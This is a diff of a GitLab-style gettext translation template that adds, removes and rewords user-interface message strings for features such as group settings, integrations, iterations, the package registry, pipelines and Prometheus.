msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
